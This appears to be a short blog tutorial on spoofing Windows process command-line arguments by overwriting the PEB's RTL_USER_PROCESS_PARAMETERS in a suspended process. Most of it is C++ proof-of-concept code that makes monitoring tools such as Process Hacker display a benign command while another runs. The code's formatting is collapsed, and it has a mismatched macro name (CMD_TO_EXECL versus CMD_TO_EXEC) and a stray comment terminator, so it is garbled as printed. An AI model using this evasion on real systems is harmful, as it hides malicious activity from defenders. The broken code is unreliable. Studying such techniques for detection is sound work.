The PEB of a process holds the command line arguments of a process. This PEB resides in usermode which means that we can spoof our command line arguments as an unprivileged user.
Lets use WinDBG to see how this looks like.
To achieve this:
Create a suspended process
Find the Process Parameters field of the process
Find the RTL_USER_PROCESS_PARAMETERS struct
Change the CommandLine field in RTL_USER_PROCESS_PARAMETERS to spoof command line args
Resume process
#include<iostream>#include<windows.h>#include<winternl.h>// https://github.com/NVISOsecurity/blogposts/blob/master/examples-commandlinespoof/Example%201%20-%20Powershell%20spawn%20with%20fake%20procexp%20args/code.cpp#defineCMD_TO_SHOW"powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'"#defineCMD_TO_EXECL"powershell.exe -NoExit -c Write-Host This is just a friendly argument, nothing to see here;Write-Host Surprise, arguments spoofed\0"typedefNTSTATUS(*NtQueryInformationProcess2)(IN HANDLE,IN PROCESSINFOCLASS,OUT PVOID,IN ULONG,OUT PULONG );void*readProcessMemory(HANDLE process,void* address,DWORD bytes) { SIZE_T bytesRead;char* alloc; alloc = (char*)malloc(bytes);if (alloc ==NULL) {returnNULL; }if (ReadProcessMemory(process, address, alloc, bytes,&bytesRead) ==0) {free(alloc);returnNULL; }return alloc;}BOOLwriteProcessMemory(HANDLE process,void* address,void* data,DWORD bytes) { SIZE_T bytesWritten;if (WriteProcessMemory(process, address, data, bytes,&bytesWritten) ==0) {returnfalse; }returntrue;}intmain(int argc,char** canttrustthis){ STARTUPINFOA si; PROCESS_INFORMATION pi; CONTEXT context; BOOL success; PROCESS_BASIC_INFORMATION pbi; DWORD retLen; SIZE_T bytesRead; PEB pebLocal; RTL_USER_PROCESS_PARAMETERS* parameters;printf("Argument Spoofing Example by @_xpn_\n\n");memset(&si,0,sizeof(si));memset(&pi,0,sizeof(pi)); // Start process suspended success =CreateProcessA(NULL, (LPSTR)CMD_TO_SHOW,NULL,NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE,NULL,"C:\\Windows\\System32\\",&si,&pi);if (success == FALSE) {printf("[!] Error: Could not call CreateProcess\n");return1; } // Retrieve information on PEB location in process NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"),"NtQueryInformationProcess");ntpi(pi.hProcess, ProcessBasicInformation,&pbi,sizeof(pbi),&retLen ); // Read the PEB from the target process success =ReadProcessMemory(pi.hProcess,pbi.PebBaseAddress,&pebLocal,sizeof(PEB),&bytesRead);if (success == FALSE) {printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");return1; } // Grab the ProcessParameters from PEB parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(pi.hProcess,pebLocal.ProcessParameters,sizeof(RTL_USER_PROCESS_PARAMETERS) +300 ); // Set the actual arguments we are looking to use WCHAR spoofed[] = CMD_TO_EXEC; success =writeProcessMemory(pi.hProcess,parameters->CommandLine.Buffer, (void*)spoofed,sizeof(spoofed));if (success == FALSE) {printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");return1; } /////// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer ///////// // Update the CommandLine length (Remember, UNICODE length here) DWORD newUnicodeLen =139; success =writeProcessMemory(pi.hProcess, (char*)pebLocal.ProcessParameters +offsetof(RTL_USER_PROCESS_PARAMETERS,CommandLine.Length), (void*)&newUnicodeLen,4 );if (success == FALSE) {printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");return1; } // Resume thread execution*/ResumeThread(pi.hThread);}
Tools like process hacker will log the clean arguments, but will execute the malicious arguments.